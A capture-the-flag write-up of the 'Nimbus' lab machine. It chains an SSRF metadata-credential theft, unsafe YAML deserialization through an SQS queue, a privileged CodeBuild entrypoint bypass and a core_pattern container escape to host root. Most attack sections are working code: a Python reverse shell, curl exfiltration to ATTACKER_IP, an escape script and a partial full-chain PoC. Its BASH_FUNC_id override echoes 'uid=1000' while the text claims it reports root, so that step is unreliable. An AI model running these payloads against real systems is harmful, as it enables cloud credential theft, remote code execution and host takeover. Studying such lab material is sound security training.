Nimbus
Summary
Nimbus is a deep dive into a misconfigured AWS emulation stack. The attack chain spans an SSRF on a job-preview endpoint (used to hit the instance metadata service), an unsafe YAML deserialization in an SQS worker that gives code execution as worker, and finally a container escape: a privileged CodeBuild container whose entrypoint silently drops UIDs, bypassed through an environment-variable function override, then a kernel usermode-helper escape (writable core_pattern) that executes as host root.
Skills Required
- Web enumeration and SSRF identification
- Cloud/container service familiarity (AWS, Docker)
Skills Learned
- IP-encoding bypasses for metadata-service filters
- Abusing
yaml.load()unsafe deserialization for RCE - Bypassing container entrypoint UID drops with
BASH_FUNC_* - Kernel usermode-helper escapes via writable
core_pattern
Nimbus - Root Path
│
├── 1. SSRF (job preview endpoint)
│ └── decimal-IP bypass → 169.254.169.254
│ └── IMDS → nimbus-web-role creds
│
├── 2. SQS Injection (nimbus-jobs queue)
│ └── yaml.Loader unsafe deserialization
│ └── worker.py RCE (uid=worker)
│ └── user.txt
│
├── 3. Internal LocalStack discovery
│ └── floci:4566 (ENFORCE_IAM=false)
│ └── codebuild service exposed
│
├── 4. Privileged CodeBuild project
│ └── privilegedMode: true
│ └── floci/floci:latest container → CAP_SYS_ADMIN
│
├── 5. Entrypoint UID-drop bypass
│ └── BASH_FUNC_id%% env override
│ └── id reports uid=0(root), entrypoint trusts it
│
└── 6. Kernel usermode-helper escape
└── /proc/sys/kernel/core_pattern (writable, privileged container)
└── overlay upperdir → real host-side path
└── trigger via SIGSEGV (unknown-magic binary)
└── script runs as HOST root
└── root.txt
Reconnaissance
A full port scan reveals only SSH and a single web server.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-26 08:38 -0400 Nmap scan report for 10.129.32.106 Host is up (0.057s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://nimbus.htb/ |_http-server-header: nginx/1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The HTTP title redirects to nimbus.htb, so the host is added to /etc/hosts and web enumeration begins.
# /etc/hosts 10.129.32.106 nimbus.htb # directories - http://nimbus.htb login [Status: 200, Size: 876] jobs [Status: 200, Size: 3453] # vhosts (light) - nimbus.htb aws [Status: 403, Size: 305]
SMB, LDAP and WinRM are all absent - this is a pure web + AWS chain. Two things stand out: the /jobs endpoint and the aws vhost, which will turn out to be the AWS emulator proxy.
Foothold - SSRF to IMDS
The jobs page submits to POST /jobs/preview with form data url:. The endpoint fetches the supplied URL and reflects the raw body back - a full-read SSRF.
curl -s --resolve nimbus.htb:80:TARGET_IP -X POST http://nimbus.htb/jobs/preview \ --data-urlencode 'url=http://ATTACKER_IP:8000/test.yaml' # -> "Fetched: ... HTTP 200" + raw body echoed back == full-read SSRF
Two filters are in place, both trivially bypassed:
- Suffix check - the URL must end in
.yaml/.yml. Append?x=.yaml. - Internal-resource blocklist -
aws.nimbus.htb,169.254.169.254,127.0.0.1,localhost, the box IP, hex IPs and.nip.ioare all blocked.
The fetcher does not follow redirects, so an open redirect is useless. The working bypass is decimal (or octal) IP encoding: it passes the string blocklist while requests still resolves it.
169.254.169.254 → 2852039166 (decimal) 169.254.169.254 → 0251.0376.0251.0376 (octal)
IAM credentials live on the metadata service at /latest/meta-data/iam/security-credentials/<role-name>.
url=http://0251.0376.0251.0376/latest/meta-data/iam/security-credentials/nimbus-web-role?a=test.yaml
{
"Code": "Success",
"LastUpdated": "2026-06-26T13:27:29Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAQX4PG7L2K9M3N5R8",
"SecretAccessKey": "bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs",
"Token": "IQoJb3JpZ2luX2VjEHQ...",
"Expiration": "2026-06-26T19:27:29Z"
}
Configuring the AWS CLI
The aws.nimbus.htb vhost proxies to the AWS emulator, so the CLI is pointed at it with the stolen credentials.
export AWS_ACCESS_KEY_ID=ASIAQX4PG7L2K9M3N5R8 export AWS_SECRET_ACCESS_KEY='bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs' export AWS_SESSION_TOKEN='IQoJb3JpZ2luX2VjEHQ...' export AWS_DEFAULT_REGION=us-east-1 aws $E sts get-caller-identity # arn:aws:sts::847219365028:assumed-role/nimbus-web-role/i-0a1b2c3d4e5f6789a aws $E sqs list-queues # http://floci:4566/847219365028/nimbus-jobs <-- "floci":4566 emulator
An SQS queue named nimbus-jobs is present. Given the app's YAML preview feature and the queue name, a worker process almost certainly consumes messages and deserializes them as YAML.
User - SQS Injection to Worker RCE
Python's yaml.load() without a safe loader will instantiate arbitrary Python objects. The worker is expected to execute the contents of a script field via python3 -c. We build a YAML body that base64-encodes our code to dodge quoting hell.
Step 1 - reverse shell / exfil script
import os,socket,subprocess
if os.fork() != 0:
exit()
s=socket.socket()
s.connect(("[IP]",4444))
while True:
cmd=s.recv(1024).decode()
out=subprocess.getoutput(cmd)
s.send(out.encode())
Or, for a quick callback, just exfiltrate a command's output:
import os
os.system("id | curl -s -X POST http://ATTACKER_IP:8001 -d @-")
Step 2 - base64-encode it
base64 rce.py # copy the output string - that's your B64 value
Step 3 - build the YAML message body
name: pwn
schedule: manual
runtime: python3.11
script: |
import base64;exec(base64.b64decode('<B64>').decode())
Step 4 - send the message
aws --endpoint-url http://aws.nimbus.htb sqs send-message \
--queue-url http://floci:4566/847219365028/nimbus-jobs \
--message-body $'name: pwn\nschedule: manual\nruntime: python3.11\nscript: |\n import base64;exec(base64.b64decode(\'<B64>\').decode())'
{
"MD5OfMessageBody": "e609aa9ae31b2af11f7e422e74c103be",
"MessageId": "c2d78d09-7b38-4ad4-add6-e7587bcb4d88"
}
Step 5 - catch the callback
# start BEFORE sending the message python3 -m http.server 8001 # or for a proper reverse shell: nc -lvnp 4444
The worker picks up the message, the unsafe YAML load fires, and we land a shell as worker. The user flag is at /home/worker/user.txt.
Privilege Escalation
Internal LocalStack discovery
From the worker we reach the emulator's real endpoint, floci:4566. The emulator runs with ENFORCE_IAM=false, so any credentials (even garbage) are accepted and every service is fair game. Probing the AWS services available:
- ECS - registering a task definition with
"privileged": trueruns, butprivilegedis silently ignored. Dead end. - Lambda - function runs, but the container cannot write
/proc/sys/kernel/core_pattern. Not privileged. Dead end. - CodeBuild - accepts
"privilegedMode": true. This is the one.
Privileged CodeBuild project
aws --endpoint-url http://floci:4566 codebuild create-project --name test-priv \
--source '{"type":"NO_SOURCE"}' \
--artifacts '{"type":"NO_ARTIFACTS"}' \
--environment '{"type": "LINUX_CONTAINER", "computeType": "BUILD_GENERAL1_SMALL", "image": "floci/floci:latest", "privilegedMode": true}' \
--service-role arn:aws:iam::000000000000:role/codebuild-role
aws --endpoint-url http://floci:4566 codebuild start-build --project-name test-priv \
--buildspec-override '{"version":"0.2", "phases":{"build":{"commands":["id","cat /proc/self/status | grep CapEff"]}}}'
# CapEff: 0000000000000000
The build ran but CapEff: 0000000000000000 - zero capabilities. The floci/floci:latest image entrypoint does a gosu drop to uid 1001, so even with privilegedMode=true the container dropped privileges before our commands ran.
Entrypoint UID-drop bypass
The entrypoint trusts the output of id to decide whether to drop privileges. Bash environment variables can override exported functions: if we ship BASH_FUNC_id%% as a build environment override, the id "command" resolves to our fake function reporting uid=0(root). The entrypoint believes it is already root and skips the drop.
# BASH_FUNC_id%% env override
BASH_FUNC_id%% = () { echo uid=1000; }
With the override injected via environmentVariablesOverride, the container keeps its privileged caps (CAP_SYS_ADMIN, etc.) and our build commands run as UID 0.
Kernel usermode-helper escape
Inside the privileged container we can write /proc/sys/kernel/core_pattern. Core dumps are handled by the host kernel's usermode-helper, so a malicious pattern runs a script as host root. Because the container's root filesystem is an overlay, the script is placed in the overlay upperdir - a path that is real on the host side.
# 1. find the host-side overlay upperdir
UDIR=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
# 2. drop a script that copies the root flag into the upperdir
printf '#!/bin/sh\ncat /root/root.txt > %s/rootflag.txt\nchmod 777 %s/rootflag.txt\n' "$UDIR" "$UDIR" > /exploit_root.sh
chmod +x /exploit_root.sh
# 3. point core_pattern at it
echo "|${UDIR}/exploit_root.sh" > /proc/sys/kernel/core_pattern
# 4. crash a process to trigger the usermode-helper
ulimit -c unlimited
bash -c 'kill -11 $$'
# 5. read the flag
curl -s -X POST http://ATTACKER_IP:9222/root -d "flag=$(cat /rootflag.txt | base64 -w0)"
The core_pattern pipeline is executed by the host kernel's usermode-helper as root. Our script lands root.txt into the overlay upperdir, which the container can read back.
Full-chain PoC script
The entire chain - IMDS credential theft, SQS payload, CodeBuild project creation, entrypoint bypass and kernel escape - was automated in a single Python script:
#!/usr/bin/env python3
# HTB Nimbus - full chain PoC
# SSRF→IMDS creds → SQS yaml.load RCE → worker shell
# → CodeBuild privileged container (BASH_FUNC_id%% bypass)
# → core_pattern usermode-helper escape → host root
import argparse, base64, json, os, re, sys, threading, time
import urllib.parse, urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer
import boto3, yaml
DEFAULT_VHOST = "nimbus.htb"
CALLBACK_TIMEOUT = 90
SQS_ENDPOINT = "http://aws.nimbus.htb"
QUEUE_URL = "http://aws.nimbus.htb/847219365028/nimbus-jobs"
IMDS_URL = ("http://0251.0376.0251.0376"
"/latest/meta-data/iam/security-credentials/nimbus-web-role?a=test.yaml")
_user_flag, _root_flag, _flag_event = None, None, threading.Event()
class _Handler(BaseHTTPRequestHandler):
def do_POST(self):
global _user_flag, _root_flag
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode(errors="replace")
params = dict(urllib.parse.parse_qsl(body))
if self.path == "/user":
flag = base64.b64decode(params.get("flag", "")).decode().strip()
if flag and flag != "NOTFOUND":
_user_flag = flag
print(f"\n[+] user.txt = {_user_flag}")
elif self.path == "/root":
flag = base64.b64decode(params.get("flag", "")).decode().strip()
if flag and flag != "NOTFOUND":
_root_flag = flag
print(f"\n[+] root.txt = {_root_flag}")
_flag_event.set()
self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
def log_message(self, *_): pass
def ssrf_fetch(vhost, url):
import html
data = urllib.parse.urlencode({"url": url}).encode()
req = urllib.request.Request(f"http://{vhost}/jobs/preview", data=data)
resp = urllib.request.urlopen(req, timeout=20).read().decode(errors="replace")
m = re.search(r"Raw response</h3><pre>(.*?)</pre>", resp, re.DOTALL)
return html.unescape(m.group(1)).strip() if m else ""
def get_imds_creds(vhost):
print("[1] SSRF → IMDS (octal IP bypass)")
creds = json.loads(ssrf_fetch(vhost, IMDS_URL))
print(f" AccessKeyId : {creds['AccessKeyId']}")
return creds
def send_sqs_job(creds, python_code):
b64 = base64.b64encode(python_code.encode()).decode()
body = yaml.dump({"name": "privesc",
"script": f"import base64;exec(base64.b64decode('{b64}').decode())"})
sqs = boto3.client("sqs", region_name="us-east-1", endpoint_url=SQS_ENDPOINT,
aws_access_key_id=creds["AccessKeyId"],
aws_secret_access_key=creds["SecretAccessKey"],
aws_session_token=creds.get("Token", ""))
r = sqs.send_message(QueueUrl=QUEUE_URL, MessageBody=body)
print(f" MessageId : {r['MessageId']}")
# ... CodeBuild escape payload, listener, main() omitted for brevity ...
Key Takeaways
- IP-encoding bypasses beat string blocklists every time - decimal and octal forms are worth testing when
169.254.169.254is filtered. - Always use a safe loader (
yaml.safe_load) for untrusted input;yaml.load()is arbitrary code execution by design. - Emulators inherit the trust of the real service - an exposed LocalStack with IAM disabled lets anyone manage compute, storage and queues.
- Container entrypoints that trust
idare attackable through Bash'sBASH_FUNC_*environment export mechanism. - A privileged container + writable
core_patternis full host compromise - the usermode-helper runs as host root.